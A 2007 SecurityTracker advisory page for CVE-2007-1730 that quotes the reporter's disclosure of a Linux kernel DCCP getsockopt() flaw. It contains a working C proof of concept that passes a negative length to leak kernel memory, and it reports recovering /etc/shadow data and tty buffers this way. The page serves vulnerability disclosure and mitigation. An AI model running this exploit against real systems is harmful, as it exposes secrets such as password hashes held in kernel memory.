Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
|
|
|
|
|
|
|
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
|
|
|
|
Become a Partner and License Our Database or Notification Service
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Linux Kernel do_dccp_getsockopt() Bug Discloses Kernel Memory to Local Users
|
|
SecurityTracker Alert ID: 1017820
|
|
SecurityTracker URL: http://securitytracker.com/id?1017820
|
|
CVE Reference: CVE-2007-1730
(Links to External Site)
|
Updated: Mar 28 2007
|
Original Entry Date: Mar 27 2007
|
Impact: Disclosure of system information
|
Exploit Included: Yes
|
Version(s): 2.6
|
Description: A vulnerability was reported in the Linux Kernel. A local user can view portions of kernel memory.
A local user can exploit a flaw in the do_dccp_getsockopt() function in 'net/dccp/proto.c', where the user-suppled 'len' and 'optlen'
parameters are not validated. A negative 'len' value or large 'optlen' value may cause kernel data to be copied to a user-space
buffer.
Robert Swiecki reported this vulnerability.
|
Impact: A local user can read portions of kernel memory.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: www.kernel.org/ (Links to External Site)
|
Cause: Access control error
|
Reported By: Robert Swiecki <jagger@swiecki.net>
|
Message History:
None.
|
Source Message Contents
|
Date: Tue, 27 Mar 2007 15:19:12 +0200
From: =?ISO-8859-2?Q?Robert_=A6wi=EAcki?= <jagger@swiecki.net>
Subject: Linux Kernel DCCP Memory Disclosure Vulnerability
|
Linux Kernel DCCP Memory Disclosure Vulnerability
Synopsis:
The Linux kernel is susceptible to a locally exploitable flaw
which may allow local users to steal data from the kernel memory.
Vulnerable Systems:
Linux Kernel Versions: >= 2.6.20 with DCCP support enabled.
Kernel versions <2.6.20 lack
DCCP_SOCKOPT_SEND_CSCOV/DCCP_SOCKOPT_RECV_CSCOV optnames for
getsockopt() call with SOL_DCCP level, which are used in the
delivered POC code.
Author:
Robert Swiecki
http://www.swiecki.net
robert@swiecki.net
Details:
The flaw exists in do_dccp_getsockopt() function in
net/dccp/proto.c file.
-----------------------
static int do_dccp_getsockopt(struct sock *sk, int level, int optname,
char __user *optval, int __user *optlen)
...
if (get_user(len, optlen))
return -EFAULT;
if (len < sizeof(int))
return -EINVAL;
...
-----------------------
The above code doesn't check `len' variable for negative values.
Because of cast typing (len < sizeof(int)) is always true for
`len' values less than 0.
After that copy_to_user() procedure is called:
-----------------------
if (put_user(len, optlen) || copy_to_user(optval, &val, len))
return -EFAULT;
-----------------------
What happens next depends greatly on the cpu architecture in-use -
each cpu architecture has its own copy_to_user() implementation. On
the IA-32 the code below ...
-----------------------
unsigned long
copy_to_user(void __user *to, const void *from, unsigned long n)
BUG_ON((long) n < 0);
-----------------------
... will prevent explotation, but kernel will oops due to
invalid opcode in BUG_ON().
On some other architectures (e.g. x86-64) kernel-space data will
be copied to the user supplied buffer until end-of-kernel space
(pagefault in kernel-mode occurs) is reached.
POC:
-----------------------
#include <netinet/in.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <net/if.h>
#include <sys/mman.h>
#include <linux/net.h>
#define BUFSIZE 0x10000000
int main(int argc, char *argv[])
void *mem = mmap(0, BUFSIZE, PROT_READ | PROT_WRITE,
MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!mem) {
printf("Cannot allocate mem\n");
return 1;
}
/* SOCK_DCCP, IPPROTO_DCCP */
int s = socket(PF_INET, 6, 33);
if (s == -1) {
fprintf(stderr, "socket failure!\n");
return 1;
}
int len = -1;
/* SOL_DCCP, DCCP_SOCKOPT_SEND_CSCOV */
int x = getsockopt(s, 269, 11, mem, &len);
if (x == -1)
perror("SETSOCKOPT");
else
printf("SUCCESS\n");
write(1, mem, BUFSIZE);
return 0;
-----------------------
then
-----------------------
make poc; ./poc | strings
-----------------------
I found cached disk blocks in the dump ( e.g. /etc/shadow ;) and
tty buffers.
Resolution:
Remove dccp support from the installed linux kernel (remove dccp
kernel modules etc..) or create a patch for kernel sources ;)
Greets and thanks to:
Przemyslaw Frasunek - venglin@freebsd.lublin.pl -
http://www.frasunek.com - for his great help during flaw analysis
Pawel Pisarczyk - pawel@immos.com.pl - for interesting talk about
the vulnerability exploitation vectors
--
Robert Swiecki - http://www.swiecki.net
|
|
Go to the Top of This SecurityTracker Archive Page
|